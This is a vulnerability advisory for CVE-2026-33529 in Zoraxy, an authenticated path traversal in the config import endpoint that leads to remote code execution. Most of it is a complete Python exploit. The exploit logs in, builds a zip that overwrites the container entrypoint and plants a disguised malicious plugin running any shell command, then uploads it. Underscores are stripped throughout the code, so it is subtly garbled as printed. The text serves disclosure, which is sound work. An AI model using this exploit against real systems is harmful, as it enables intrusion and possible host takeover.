CVE-2026-33529: Zoraxy: Authenticated Path Traversal in Config Import leads to RCE

Authenticated Path Traversal to RCE via Configuration Import

Summary

An authenticated path traversal vulnerability in the configuration import endpoint allows an authenticated user to write arbitrary files outside the config directory, which can lead to RCE by creating a plugin.

Details

The vulnerable endpoint is POST /api/conf/import.

The zip entry names sanitization is bypassed by embedding ../ inside a longer sequence so the replacement produces a new ../:

conf/..././..././entrypoint.py → ReplaceAll("../", "") (match found at index 1 of "..././", leaving "../") → conf/../../entrypoint.py ← passes HasPrefix check, escapes conf/

Using this endpoint, a new plugin can be written (persistent) and the entrypoint (non-persistent) can be edited to add execution permissions to the plugin. When the database is provided in the import, the program should exit to trigger a container restart (which does not happen because the entrypoint does not monitor the Zoraxy exit code). As a result, the container was manually restarted for the PoC to work.

PoC

python import argparse import io import json import re import sys import zipfile

import requests import urllib3

urllib3.disablewarnings(urllib3.exceptions.InsecureRequestWarning)

INTROSPECJSON = json.dumps({ "id": "com.attacker.evil", "name": "System Updater", "author": "System", "authorcontact": "", "description": "Internal system update module", "url": "", "uipath": "/ui", "type": 1, "versionmajor": 1, "versionminor": 0, "versionpatch": 0, "permittedapiendpoints": [], })

LINUXSTARTSH = """\ #!/bin/sh INTROSPEC='{introspec}'

runpayload() {{ {payloadlines} }}

case "$1" in -introspect) runpayload printf '%s\\n' "$INTROSPEC" exit 0 ;; -configure=) runpayload while true; do sleep 3600; done ;; esac """

MALICIOUSENTRYPOINTPY = """\ #!/usr/bin/env python3 import os, subprocess, signal, sys, time

try: subprocess.run({cmdlist}, shell=False) except Exception: pass

try: os.chmod("/opt/zoraxy/plugin/evil/start.sh", 0o755) except Exception: pass

zoraxyproc = None zerotierproc = None

def getenv(key, default=None): return os.environ.get(key, default)

def run(command): try: subprocess.run(command, check=True) except subprocess.CalledProcessError as e: print(f"Command failed: {command} - {e}") sys.exit(1)

def popen(command): proc = subprocess.Popen(command) time.sleep(1) if proc.poll() is not None: print(f"{command} exited early with code {proc.returncode}") raise RuntimeError(f"Failed to start {command}") return proc

def cleanup(signum, frame): global zoraxyproc, zerotierproc if zoraxyproc and zoraxyproc.poll() is None: zoraxyproc.terminate() if zerotierproc and zerotierproc.poll() is None: zerotierproc.terminate() if zoraxyproc: try: zoraxyproc.wait(timeout=8) except subprocess.TimeoutExpired: zoraxyproc.kill() zoraxyproc.wait() if zerotierproc: try: zerotierproc.wait(timeout=8) except subprocess.TimeoutExpired: zerotierproc.kill() zerotierproc.wait() try: os.unlink("/var/lib/zerotier-one") except Exception: pass sys.exit(0)

def startzerotier(): global zerotierproc configdir = "/opt/zoraxy/config/zerotier/" ztpath = "/var/lib/zerotier-one" os.makedirs(configdir, existok=True) try: os.symlink(configdir, ztpath, targetisdirectory=True) except FileExistsError: pass zerotierproc = popen(["zerotier-one"])

def startzoraxy(): global zoraxyproc zoraxyargs = [ "zoraxy", f"-autorenew={getenv('AUTORENEW', '86400')}", f"-cfgupgrade={getenv('CFGUPGRADE', 'true')}", f"-db={getenv('DB', 'auto')}", f"-docker={getenv('DOCKER', 'true')}", f"-earlyrenew={getenv('EARLYRENEW', '30')}", f"-enablelog={getenv('ENABLELOG', 'true')}", f"-fastgeoip={getenv('FASTGEOIP', 'false')}", f"-mdns={getenv('MDNS', 'true')}", f"-mdnsname={getenv('MDNSNAME', \"''\")}", f"-noauth={getenv('NOAUTH', 'false')}", f"-plugin={getenv('PLUGIN', '/opt/zoraxy/plugin/')}", f"-port=:{getenv('PORT', '8000')}", f"-sshlb={getenv('SSHLB', 'false')}", f"-version={getenv('VERSION', 'false')}", f"-webroot={getenv('WEBROOT', './www')}", ] zoraxyproc = popen(zoraxyargs)

def main(): signal.signal(signal.SIGTERM, cleanup) signal.signal(signal.SIGINT, cleanup) run(["update-ca-certificates"]) if getenv("UPDATEGEOIP", "false").lower() == "true": run(["zoraxy", "-updategeoip=true"]) os.chdir("/opt/zoraxy/config/") if getenv("ZEROTIER", "false") == "true": startzerotier() startzoraxy() signal.pause()

if name == "main": main() """

def getcsrf(host: str, session: requests.Session) -> tuple: r = session.get(f"{host}/login.html", timeout=10, verify=False) m = re.search(r'<meta[^>]+name=["\']zoraxy\.csrf\.Token["\'][^>]+content="\'["\']', r.text) if not m: m = re.search(r'<meta[^>]+content="\'["\'][^>]+name=["\']zoraxy\.csrf\.Token["\']', r.text) token = m.group(1) if m else r.headers.get("X-CSRF-Token", "") return token, f"{host}/login.html"

def authenticate(host: str, username: str, password: str, session: requests.Session) -> bool: csrf, referer = getcsrf(host, session) print(f" CSRF token -> {csrf!r}") r = session.post( f"{host}/api/auth/login", data={"username": username, "password": password}, headers={"X-CSRF-Token": csrf, "Referer": referer}, timeout=10, verify=False, ) print(f" Login -> HTTP {r.statuscode} {r.text[:120]!r}") return r.statuscode == 200 and r.text.strip().strip('"').lower() in ("ok", "true")

def uploadzip(host: str, session: requests.Session, zipbytes: bytes) -> tuple: csrf, referer = getcsrf(host, session) r = session.post( f"{host}/api/conf/import", files={"file": ("backup.zip", zipbytes, "application/zip")}, headers={"X-CSRF-Token": csrf, "Referer": referer}, timeout=30, verify=False, ) return r.statuscode, r.text

def exportconfig(host: str, session: requests.Session) -> bytes | None: r = session.get( f"{host}/api/conf/export?includeDB=true", timeout=60, verify=False, ) if r.statuscode == 200 and len(r.content) > 100: return r.content return None

def buildzip(cmd: str, exportzip: bytes) -> bytes: traversalep = "conf/..././..././entrypoint.py" traversalsh = "conf/..././..././plugin/evil/start.sh"

payloadlines = "\n".join(f" {line}" for line in cmd.splitlines()) or " id > /tmp/pwned.txt" startsh = LINUXSTARTSH.format( introspec=INTROSPECJSON.replace("'", "'\\''"), payloadlines=payloadlines, ) maliciousep = MALICIOUSENTRYPOINTPY.replace("{cmdlist}", repr(["sh", "-c", cmd]))

buf = io.BytesIO() with zipfile.ZipFile(io.BytesIO(exportzip), "r") as src: with zipfile.ZipFile(buf, "w", zipfile.ZIPDEFLATED) as zf: for item in src.infolist(): zf.writestr(item, src.read(item.filename)) zf.writestr(zipfile.ZipInfo(traversalep), maliciousep.encode()) zf.writestr(zipfile.ZipInfo(traversalsh), startsh.encode()) buf.seek(0) return buf.read()

def main() -> None: parser = argparse.ArgumentParser( description="Zoraxy Authenticated RCE via Entrypoint Overwrite + Plugin Zip-Slip", ) parser.addargument("--host", help="Target, e.g. http://192.168.1.10:8000") parser.addargument("--user", default="admin") parser.addargument("--pass", dest="password", default=None) parser.addargument("--cmd", default="id > /tmp/pwned.txt", help="Shell command to embed in the payload") args = parser.parseargs()

if not args.host or not args.password: parser.error("--host and --pass are required") host = args.host.rstrip("/")

print(f"\n[1] Authenticating as '{args.user}' at {host} ...") session = requests.Session() if not authenticate(host, args.user, args.password, session): print("[-] Authentication failed.") sys.exit(1) print("[+] Authenticated.")

print(f"\n[2] Exporting live config ...") exportzip = exportconfig(host, session) if not exportzip: print("[-] Config export failed.") sys.exit(1) print("\n[3] Building malicious zip ...") zipbytes = buildzip(args.cmd, exportzip) print(f"[+] Zip size: {len(zipbytes):,} bytes")

print(f"\n[4] Uploading via POST {host}/api/conf/import ...") code, body = uploadzip(host, session, zipbytes) print(f" HTTP {code} {body[:200]!r}") if code != 200: print("[-] Upload failed.") sys.exit(1) print("[+] Files written")

if name == "main": main()

Impact

Arbitrary file write leads to RCE by an authenticated user. Given that the Docker socket might be mapped, this issue can lead to full host takeover.